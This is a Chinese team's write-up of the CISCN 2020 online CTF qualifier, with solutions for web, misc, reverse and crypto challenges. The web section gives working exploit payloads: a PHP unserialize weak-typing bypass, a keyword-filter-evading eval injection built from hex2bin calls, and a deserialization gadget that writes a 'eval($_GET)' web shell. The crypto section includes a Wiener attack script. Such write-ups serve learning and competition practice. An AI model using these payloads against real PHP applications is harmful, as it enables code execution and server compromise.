CISCN2020线上初赛WriteUp
写在最前面 引用知乎
如何评价 2020 全国大学生信息安全竞赛(CISCN )?
CISCN2020线上初赛WP (华中-ATDream)
WEB
easytrick
find the flag.
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
打开后是这个页面,考点就是PHP弱类型再套一层反序列化。
直接写个EXP
<?php
$value = 2e308;
$trick1 = (string)$value;
$trick2 = $value;
error_reporting(E_ERROR);
printf("!==\t%d\n", $trick1 !== $trick2);
printf("md5\t%d\t%s\n", md5($trick1) === md5($trick2), md5($trick2));
printf("!=\t%d\n", $trick1 != $trick2);
if ($trick1 !== $trick2 && md5($trick1) === md5($trick2) && $trick1 != $trick2) {
class trick
{
public $trick1;
public $trick2;
public function __destruct()
{
$this->trick1 = (string)$this->trick1;
if (strlen($this->trick1) > 5 || strlen($this->trick2) > 5) {
die("你太长了");
}
if ($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2) {
echo file_get_contents("/flag");
}
}
}
$c = new trick;
$c->trick1 = $value;
$c->trick2 = $value;
echo "payload:\n";
print(serialize($c).PHP_EOL);
}
得到payload:O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}
rceme
命令执行?
访问后的得到代码
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
简单分析下,过滤了一些危险字符串,但是并没有什么用,直接上EXP。
<?php
function strencode($str) {
$hex = [];
for($i=0; $i < strlen($str); $i++) {
$hex[] = 'hex2bin(dechex('.ord($str[$i]).'))';
}
$name = '('.implode('.', $hex).')';
return $name;
}
$name = strencode('file_get_contents');
$file = strencode('/flag');
$payload = 'var_dump('.$name.'('.$file.'))';
// eval("$payload;");
printf("payload: {if:$payload}dx{end if}\n");
payload:
{if:var_dump((hex2bin(dechex(102)).hex2bin(dechex(105)).hex2bin(dechex(108)).hex2bin(dechex(101)).hex2bin(dechex(95)).hex2bin(dechex(103)).hex2bin(dechex(101)).hex2bin(dechex(116)).hex2bin(dechex(95)).hex2bin(dechex(99)).hex2bin(dechex(111)).hex2bin(dechex(110)).hex2bin(dechex(116)).hex2bin(dechex(101)).hex2bin(dechex(110)).hex2bin(dechex(116)).hex2bin(dechex(115)))((hex2bin(dechex(47)).hex2bin(dechex(102)).hex2bin(dechex(108)).hex2bin(dechex(97)).hex2bin(dechex(103)))))}dx{end if}
轻松获得flag
easyphp
我fork出来进程怎么可能会异常退出。
很遗憾,起床晚了,最终在比赛结束后的十分钟内做出来了,导致做出来但是没法提交了。
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
之前一直想办法读Flag但是读不出,尝试了各种读法。
后面查阅了相关资料发现
调用 is_callable 的时候会暂停子进程 https://bugs.php.net/bug.php?id=78272
直接访问 /?a=is_callable 在phpinfo中获得flag
事后发现,similar_text也行(Fuzz一时爽,一直Fuzz一直爽)
babyunserialize
find the flag.
很遗憾,这题没有做出来,到最后一步发现本地复现成功,比赛环境无法复现。
打开就这样,随便扫描后发现,根目录下存在www.zip
down下来分析,又是反序列化
分析后发现这是唯一能写shell的地方
直接根据写出Payload
<?php
namespace DB;
//! In-memory/flat-file DB wrapper
class Jig {
//@{ Storage formats
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
//@}
public
//! UUID
$uuid,
//! Storage location
$dir,
//! Current storage format
$format,
//! Jig log
$log,
//! Memory-held data
$data,
//! lazy load/save files
$lazy;
/**
* Write data to memory/file
* @return int
* @param $file string
* @param $data array
**/
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
// var_dump("write", $file, $data);
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
// var_dump($this->dir.$file,$out);
file_put_contents($this->dir.$file,$out);
}
/**
* save file on destruction
**/
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}
}
$o = new Jig;
$o->lazy = true;
$o->dir = './';
$o->format = Jig::FORMAT_JSON;
$o->data= [
'dx.php' => ["<?php eval(\$_GET['dx']); ?>"]
];
$payload = '';
$payload = \serialize($o);
printf("payload: %s\n", $payload);
好的,神奇的一幕就发生了,本地测试,远程服务器搭建环境测试均成功,比赛容器写不进shell,可能还是我太菜了吧,或者思路错了。
littlegame
An evil dragon took the beautiful princess, let's take this challenge!
这题随便看了下,思路大概是override全局变量,node不太熟,关键点是set-value组件,放弃。
Misc
签到
今年有1040支参赛队伍,统计完成。
the_best_ctf_game
Do you know the best ctf game in the world!?
用winhex打开文件直接发现存在f.........l..........a..........g.........{
flag为flag{65e02f26-0d6e-463fbc63-2df733e47fbe}
电脑被黑
菜狗不小心删除了一些数据,您能帮他找到丢失的数据吗?
用winhex以磁盘打开文件找到一个dome程序和一个fakeflag.txt
ida打开dome使用f5查看main
对main写出逆向程序对fakeflag.txt操作
#include <cstdio>
int main(int argc, char* argv[])
{
const auto path = R"(Z:\fakeflag.txt)";
char v4 = 34;
char v5 = 0;
const auto v7 = fopen(path, "rb");
const auto stream = fopen(path, "rb+");
while (true)
{
const char v6 = fgetc(v7);
if (v6 == -1)
break;
// fputc(v4 ^ (v5 + v6), stream);
fputc((v4 ^ v6) - v5, stream);
v4 += 34;
v5 = v5 + 2 & 0xF;
}
fclose(v7);
fclose(stream);
}
得到结果
用winhex在dome中搜索fakeflag.txt原本的数据的前5个字节442A03E529得到另一份数据
将这份数据放到放到fakeflag.txt里运行逆向程序可得
flag为flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
Reverse
z3
看到题目的意思就知道是要用z3包,也就是解方程
打开ida,查看方程式
在去查看判断
发现des和v4做比较,Des是从unk_404020复制过来的,所以
查看unk_404020
由于v4到v45全是int类型,那么我们的byte404020也得是int类型
用idapython打印这里的数值for i in range(0x30):print(str(hex(Dword(0x404020+i*4)))+',')
获取数据后把方程式添加到z3里,在解方程,转换为字符后在打印输出
from z3 import *
#z3
#idapython提取里面的数据 for i in range(0x30):print(str(hex(Dword(0x404020+i*4)))+',')
v=[0x4f17,
0x9cf6,
0x8ddb,
0x8ea6,
0x6929,
0x9911,
0x40a2,
0x2f3e,
0x62b6,
0x4b82,
0x486c,
0x4002,
0x52d7,
0x2def,
0x28dc,
0x640d,
0x528f,
0x613b,
0x4781,
0x6b17,
0x3237,
0x2a93,
0x615f,
0x50be,
0x598e,
0x4656,
0x5b31,
0x313a,
0x3010,
0x67fe,
0x4d5f,
0x58db,
0x3799,
0x60a0,
0x2750,
0x3759,
0x8953,
0x7122,
0x81f9,
0x5524,
0x8971,
0x3a1d,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0]
#在将数值和公式添加到方程式组里,求解即可
p=Solver()
s=[0]*256
for i in range(256):
s[i]=Int('s['+str(i)+']')
p.add(34 * s[3] + 12 * s[0] + 53 * s[1] + 6 * s[2] + 58 * s[4] + 36 * s[5] + s[6]==v[0])
p.add(27 * s[4] + 73 * s[3] + 12 * s[2] + 83 * s[0] + 85 * s[1] + 96 * s[5] + 52 * s[6]==v[1])
p.add(24 * s[2] + 78 * s[0] + 53 * s[1] + 36 * s[3] + 86 * s[4] + 25 * s[5] + 46 * s[6]==v[2])
p.add(78 * s[1] + 39 * s[0] + 52 * s[2] + 9 * s[3] + 62 * s[4] + 37 * s[5] + 84 * s[6]==v[3])
p.add(48 * s[4] + 14 * s[2] + 23 * s[0] + 6 * s[1] + 74 * s[3] + 12 * s[5] + 83 * s[6]==v[4])
p.add(15 * s[5] + 48 * s[4] + 92 * s[2] + 85 * s[1] + 27 * s[0] + 42 * s[3] + 72 * s[6]==v[5])
p.add(26 * s[5] + 67 * s[3] + 6 * s[1] + 4 * s[0] + 3 * s[2] + 68 * s[6]==v[6])
p.add(34 * s[10] + 12 * s[7] + 53 * s[8] + 6 * s[9] + 58 * s[11] + 36 * s[12] + s[13]==v[7])
p.add(27 * s[11] + 73 * s[10] + 12 * s[9] + 83 * s[7] + 85 * s[8] + 96 * s[12] + 52 * s[13]==v[8])
p.add(24 * s[9] + 78 * s[7] + 53 * s[8] + 36 * s[10] + 86 * s[11] + 25 * s[12] + 46 * s[13]==v[9])
p.add(78 * s[8] + 39 * s[7] + 52 * s[9] + 9 * s[10] + 62 * s[11] + 37 * s[12] + 84 * s[13]==v[10])
p.add(48 * s[11] + 14 * s[9] + 23 * s[7] + 6 * s[8] + 74 * s[10] + 12 * s[12] + 83 * s[13]==v[11])
p.add(15 * s[12] + 48 * s[11] + 92 * s[9] + 85 * s[8] + 27 * s[7] + 42 * s[10] + 72 * s[13]==v[12])
p.add(26 * s[12] + 67 * s[10] + 6 * s[8] + 4 * s[7] + 3 * s[9] + 68 * s[13]==v[13])
p.add(34 * s[17] + 12 * s[14] + 53 * s[15] + 6 * s[16] + 58 * s[18] + 36 * s[19] + s[20]==v[14])
p.add(27 * s[18] + 73 * s[17] + 12 * s[16] + 83 * s[14] + 85 * s[15] + 96 * s[19] + 52 * s[20]==v[15])
p.add(24 * s[16] + 78 * s[14] + 53 * s[15] + 36 * s[17] + 86 * s[18] + 25 * s[19] + 46 * s[20]==v[16])
p.add(78 * s[15] + 39 * s[14] + 52 * s[16] + 9 * s[17] + 62 * s[18] + 37 * s[19] + 84 * s[20]==v[17])
p.add(48 * s[18] + 14 * s[16] + 23 * s[14] + 6 * s[15] + 74 * s[17]+ 12 * s[19] + 83 * s[20]==v[18])
p.add(15 * s[19] + 48 * s[18] + 92 * s[16] + 85 * s[15] + 27 * s[14] + 42 * s[17] + 72 * s[20]==v[19])
p.add(26 * s[19] + 67 * s[17] + 6 * s[15] + 4 * s[14] + 3 * s[16] + 68 * s[20]==v[20])
p.add(34 * s[24] + 12 * s[21] + 53 * s[22] + 6 * s[23]+ 58 * s[25] + 36 * s[26] + s[27]==v[21])
p.add(27 * s[25] + 73 * s[24] + 12 * s[23] + 83 * s[21] + 85 * s[22]+ 96 * s[26] + 52 * s[27]==v[22])
p.add(24 * s[23] + 78 * s[21] + 53 * s[22] + 36 * s[24] + 86 * s[25]+ 25 * s[26] + 46 * s[27]==v[23])
p.add(78 * s[22] + 39 * s[21]+ 52 * s[23] + 9 * s[24] + 62 * s[25] + 37 * s[26]+ 84 * s[27]==v[24])
p.add(48 * s[25] + 14 * s[23] + 23 * s[21] + 6 * s[22] + 74 * s[24]+ 12 * s[26]+ 83 * s[27]==v[25])
p.add(15 * s[26] + 48 * s[25] + 92 * s[23] + 85 * s[22] + 27 * s[21]+ 42 * s[24] + 72 * s[27]==v[26])
p.add(26 * s[26] + 67 * s[24] + 6 * s[22] + 4 * s[21] + 3 * s[23]+ 68 * s[27]==v[27])
p.add(34 * s[31] + 12 * s[28] + 53 * s[29] + 6 * s[30] + 58 * s[32]+ 36 * s[33]+ s[34]==v[28])
p.add(27 * s[32] + 73 * s[31] + 12 * s[30]+ 83 * s[28]+ 85 * s[29] + 96 * s[33]+ 52 * s[34]==v[29])
p.add(24 * s[30] + 78 * s[28] + 53 * s[29] + 36 * s[31] + 86 * s[32] + 25 * s[33]+ 46 * s[34]==v[30])
p.add(78 * s[29] + 39 * s[28] + 52 * s[30] + 9 * s[31] + 62 * s[32]+ 37 * s[33]+ 84 * s[34]==v[31])
p.add(48 * s[32] + 14 * s[30]+ 23 * s[28] + 6 * s[29] + 74 * s[31]+ 12 * s[33]+ 83 * s[34]==v[32])
p.add(15 * s[33] + 48 * s[32] + 92 * s[30] + 85 * s[29] + 27 * s[28]+ 42 * s[31] + 72 * s[34]==v[33])
p.add(26 * s[33] + 67 * s[31] + 6 * s[29] + 4 * s[28] + 3 * s[30]+ 68 * s[34]==v[34])
p.add(34 * s[38] + 12 * s[35] + 53 * s[36] + 6 * s[37] + 58 * s[39]+ 36 * s[40]+ s[41]==v[35])
p.add( 27 * s[39] + 73 * s[38] + 12 * s[37] + 83 * s[35] + 85 * s[36]+ 96 * s[40]+ 52 * s[41]==v[36])
p.add( 24 * s[37] + 78 * s[35] + 53 * s[36] + 36 * s[38] + 86 * s[39]+ 25 * s[40]+ 46 * s[41]==v[37])
p.add(78 * s[36] + 39 * s[35] + 52 * s[37] + 9 * s[38] + 62 * s[39]+ 37 * s[40]+ 84 * s[41]==v[38])
p.add(48 * s[39] + 14 * s[37] + 23 * s[35] + 6 * s[36] + 74 * s[38]+ 12 * s[40] + 83 * s[41]==v[39])
p.add(15 * s[40] + 48 * s[39] + 92 * s[37] + 85 * s[36] + 27 * s[35] + 42 * s[38] + 72 * s[41]==v[40])
p.add(26 * s[40] + 67 * s[38] + 6 * s[36] + 4 * s[35] + 3 * s[37]+ 68 * s[41]==v[41])
p.check()
print(p.model())
s[19] = 52
s[32] = 52
s[9] = 49
s[1] = 108
s[10] = 100
s[31] = 49
s[37] = 101
s[38] = 54
s[0] = 102
s[14] = 54
s[26] = 48
s[28] = 45
s[8] = 55
s[39] = 52
s[21] = 49
s[36] = 102
s[22] = 56
s[17] = 57
s[29] = 54
s[16] = 98
s[2] = 97
s[23] = 45
s[25] = 57
s[3] = 103
s[15] = 51
s[24] = 57
s[11] = 52
s[12] = 51
s[33] = 99
s[35] = 97
s[18] = 45
s[30] = 101
s[40] = 56
s[7] = 49
s[4] = 123
s[5] = 55
s[41] = 125
s[34] = 50
s[27] = 101
s[20] = 101
s[13] = 45
s[6] = 101
#在输出求出来的解
for i in range(0,41):
print(chr(s[i]),end="")
得到flag
hyperthreading
这道题有许多的混淆指令,使得工具都无法正常的识别代码,导致许多地方无法正确的f5
首先打开ida,查找字符串,发现主要的部分
点击纳入StartAddress函数里面,有许多为识别出的机器码
咱们往上看可以发现一个问题,在0x401151这里,他有个jmp跳跃到0x401152的指令,很明显这是混淆指令把这里改为一个nop即可,然后再按C键转换为assembly
接着往下看,发现这里也有个类似的指令,重复上面的操作
往下看可以看到0CCh,这里我打开了od看了一下就是int3的意思,但我直接给nop掉了
然后创建函数f5查看源码
查看hHandle的时候,感觉有点奇怪,这里没有分析出来
回到最先前的函数,查看loc_401200函数,跟前面的一样有混淆指令,改过来即可
如果我没记错的话,当时写的时候还有+0x23然后jumpout的函数,但写wp的时候忘记怎么搞得了。
经过以上的分析,我在od里填写了10个'A'出来的全是96,我便猜测其加密方式是(((c<<6)^(c>>2))^0x23)+0x23
然后经过这里的验证,证明了自己的猜测
s=[0xdd,
0x5b,
0x9e,
0x1d,
0x20,
0x9e,
0x90,
0x91,
0x90,
0x90,
0x91,
0x92,
0xde,
0x8b,
0x11,
0xd1,
0x1e,
0x9e,
0x8b,
0x51,
0x11,
0x50,
0x51,
0x8b,
0x9e,
0x5d,
0x5d,
0x11,
0x8b,
0x90,
0x12,
0x91,
0x50,
0x12,
0xd2,
0x91,
0x92,
0x1e,
0x9e,
0x90,
0xd2,
0x9f,
0x0,
0x0]
i=0
temp=""
while i<len(s):
for j in range(33,127):
if((((((j<<6)^(j>>2))^0x23)+0x23)&255)==s[i]):
i+=1
print(chr(j&127),end="")
break
print(temp)
得到flag
Crypto
bd
数学在密码学里面很重要的!现在知道吃亏了吧!
观察已知的e可得出,可使用低解密指数攻击。
payload
#!/usr/bin/python
#coding:utf-8
import gmpy2
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import long_to_bytes
def wiener_hack(e, n):
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = Arithmetic.is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
return d
return False
def main():
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
d = wiener_hack(e, n)
m = pow(c,d,n)
print long_to_bytes(m)
main()
题目下载
点我下载 :roll:
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »